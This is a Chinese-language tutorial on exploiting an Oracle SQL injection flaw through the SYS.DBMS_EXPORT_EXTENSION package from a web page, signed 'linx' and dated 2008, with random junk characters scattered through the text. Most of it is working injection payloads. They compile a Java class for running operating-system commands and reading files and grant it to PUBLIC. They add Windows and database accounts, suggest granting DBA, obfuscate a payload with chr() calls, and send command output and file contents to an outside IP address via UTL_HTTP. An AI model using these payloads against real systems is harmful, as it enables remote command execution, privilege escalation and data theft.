以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 0 j- z+ Q) L' Z8 r5 c
- p. s6 c4 O) x6 {6 i
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
: F8 a! @6 L5 }' ~( c# ^0 O的形式即可。(用" 'a'|| "是为了让语句返回true值) - f& _# o7 d6 c" q% h' d
语句有点长,可能要用post提交。 ' u; S% [8 y) g
以下是各个步骤:
6 j9 ]9 _: P# l# Y; i* z& z4 O1.创建包 0 Z8 A d+ n8 [4 v! p
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
1 j: s- G5 e; O# z/ D# y% _/xxx.jsp?id=1 and '1'<>'a'||(
& t& o: x# V) Y! T R5 `* @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* s9 ?( N) @* {2 {. A ]create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(- k0 B6 i- ~3 N% S1 P
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}, C* z. E8 G- F6 n5 U* `5 ~- K
}'''';END;'';END;--','SYS',0,'1',0) from dual ( [: L! K6 e! o# j3 d# t
) 1 o7 W1 m* G9 b) v
------------------------
0 k8 F5 u! f: g: r- d' Z4 I如果url有长度限制,可以把readFile()函数块去掉,即: 3 ~6 V: L1 V2 R1 i5 H3 _
/xxx.jsp?id=1 and '1'<>'a'||( - u8 s4 S0 Y, V$ C) d/ P- U+ u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* M5 i8 \) W( G0 ]+ ~ k- k
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
2 W4 \( R: V& N: v' ~8 [+ j xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
4 R% ^6 ~; H" f% L1 f9 r! J& e}'''';END;'';END;--','SYS',0,'1',0) from dual
) a& I" M5 [$ ]: u/ t# ]3 g ]. [) $ s V( ~0 z% N3 T+ C4 ] y
同时把后面步骤 提到的 对readFile()的处理语句去掉。 2 S5 R" h! l' i; {2 ?! Y" Z
------------------------------
: L4 U) b& L; H5 Q6 @2.赋Java权限
5 z1 W% `$ j4 B6 T: \/ r! S5 ?# zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual; I, W0 f6 q$ g( O8 P( x2 n
3.创建函数 % X) S1 y" t+ L( e: Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 C- O# ~4 E& q7 l& T* O
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
* c8 [' P( s( r( \: x$ bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ U3 r+ \1 G) T
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
& V# D& X: N3 \4.赋public执行函数的权限 - D' b. ]5 ]$ v6 V4 A- ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual: g0 D! ~) l8 V% _: W% J: R& K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
0 T, K) H% O4 w5 N. ?# Y8 e5.测试上面的几步是否成功 ! {- K( w6 ~" g+ |5 \& e2 Q6 t
and '1'<>'11'||(
% Z: ]+ J8 n8 X$ N# w2 v& D a! A2 Qselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
6 B' {1 w- R( D7 V0 s& Y q1 k)
4 T3 r/ C J! j. t7 t- y3 u( B' ?2 pand '1'<>(
1 m$ P) [# d. f$ _select OBJECT_ID from all_objects where object_name ='LINXREADFILE' 8 p1 }2 K6 k/ v2 `$ O+ D/ t2 S
)
4 `! V+ [6 S, A( ?+ G0 T6.执行命令:
6 z/ }- Y3 n! t0 J# g% a) x/xxx.jsp?id=1 and '1'<>(
+ Y; v2 a3 o+ O, G( bselect sys.LinxRunCMD('cmd /c net user linx /add') from dual q+ \' B& d4 Q3 N6 M8 I
0 \3 J C" v, i% o: a) M5 \1 b" A9 P)
2 |1 ^- Z0 T; b6 P2 u/xxx.jsp?id=1 and '1'<>( 7 p, \4 h1 B, b& J7 y. C) K+ Q
select sys.LinxReadFile('c:/boot.ini') from dual
% W, x. ? M, N7 I; W1 z4 q$ e3 R
) {. v6 ^( c5 y/ u+ g( g# ])/ ]! I7 [# {6 V: o! M: s: K, y: X
h+ z @0 P0 s. v
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
# o6 q2 B- F3 ^/ `0 [如果要查看运行结果可以用 union :
, f4 l/ @ k, _5 ]- q/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
# ?" ]4 i6 W; Z5 @- S0 Z或者UTL_HTTP.request(:
$ v! z* r6 }1 k \/xxx.jsp?id=1 and '1'<>(
5 G$ T0 J% a9 l8 G: u7 \5 V) ISELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
1 ] I0 x1 ~( E) / n! d1 E9 b" F, n
/xxx.jsp?id=1 and '1'<>( 5 ?+ K) i: u: g' I. g* }
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
, V. P2 W0 t/ q5 }5 r4 F. U) & N, u" x5 V( v5 S' P' s" W0 N
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
, M' T$ M; E! [- o( h5 T-------------------- 9 l `! _4 s! z8 J, g/ ~. _
6.内部变化 # @) x9 H# C ^% D) f: i% _% X
通过以下命令可以查看all_objects表达改变: : S% g r6 A: v
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'; a. U q& Q0 G4 I j
7.删除我们创建的函数
9 Z8 p' H# W9 j# j7 `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. g1 o5 W; ?& Z! S* E( f7 d, C0 u
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
% B5 ?/ X, E. v3 J8 u7 d==================================================== + E( x$ n0 x/ b$ N5 D/ n. k
全文结束。谨以此文赠与我的朋友。
$ d0 d. Z z) ]$ Hlinx
" @# g5 q0 X# h0 M1 @124829445
& H6 }7 f+ ?* ^2 B2008.1.12
% R+ F, y1 [. X* i4 |2 R. t! {: t" R2 Olinyujian@bjfu.edu.cn
+ V) N8 r9 v F$ x; s$ ~$ `, t9 X======================================================================
9 B+ }7 D0 W5 y7 F测试漏洞的另一方法: ; ?& |& i: f m* a- m/ u1 x. p; U
创建oracle帐号: # u( F4 U+ d& w" S6 N( L% w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' }: T6 E2 ~1 ^3 M$ e& d1 m
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
! J6 T1 N% v2 x8 V4 X- v即: ' c9 s, H- X8 W: L: m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& M n! X7 J; D& ?
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual \ L( Z$ n( k
确定漏洞存在: ! o |( u8 S7 {( s& c. u
1<>( 0 \; h' Q" _' ^' [
select user_id from all_users where username='LINXSQL' ' w& `* K, w9 ~; Z8 P3 L
)
9 w0 x+ m$ {% u; P0 S) H给linxsql连接权限:
3 S. t3 I) h' o( ^6 k- Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* E: i4 v2 {2 s s
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
! L& R/ P5 c* e: \6 s& S删除帐号:
5 @. ], `6 O! i/ n tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* W, O% B! I: U7 adrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
9 ]! g$ P% G4 K: o/ w5 Z====================== 6 V' l% S( J% y+ }; c
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:$ h- ~, B8 z0 o- P1 J
1.jsp?id=1 and '1'<>(
; Q" g; D5 r8 C, p9 F5 ?9 X$ Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% A5 c1 W/ `' G* i5 Q0 O
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
" L$ J! i, z, e) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE# {& U" w3 Q, \" \; j2 Q- R
) y+ ?: A$ d. G7 M* d, F
3 G) V/ W; Y# |# g) _0 P& W1 b4 W! o# K2 J& |% o
0 F; @. |: X( P5 [: Z% V |